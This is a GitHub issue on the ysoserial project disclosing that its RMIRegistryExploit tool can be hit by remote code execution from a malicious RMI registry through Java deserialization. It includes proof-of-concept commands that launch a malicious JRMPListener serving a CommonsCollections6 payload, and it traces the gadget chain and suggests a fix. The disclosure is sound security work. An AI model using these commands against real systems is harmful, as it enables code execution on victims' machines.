frohoff / frohoff/ysoserial

Arbitrary Remote Code Execution in RMIRegistryExploit

Open
#171 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
Java
Stars
9.1k
Forks
1.9k
PR merge metrics
No merged PRs in 30d

Description

Using RMIRegistryExploit to exploit a malicious rmi registry may lead to rce on client.
### Demo
First,start a malicious registry:
```bash
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 calc.exe
```
and using RMIRegistryExploit to exploit it:
```bash
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit localhost 1099 CommonsCollections6 whoami
```
and calc will be executed on client.
### Analysis
RMIRegistryExploit uses registry.list/bind, which triggers unserialization. So malicious registry can attack client with gadgets in ysoserial,such as commonscollections.
Gadgets chain:
RegistryImpl_Stub#list->UnicastRef#invoke->StreamRemoteCall#executeCall->ObjectInputStream#readObject
### Fix
Rewrite socket to implement JRMP connections, just like what ysoserial.exploit.JRMPClient does.

Contributor guide

No contributing guide indexed for this repository

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.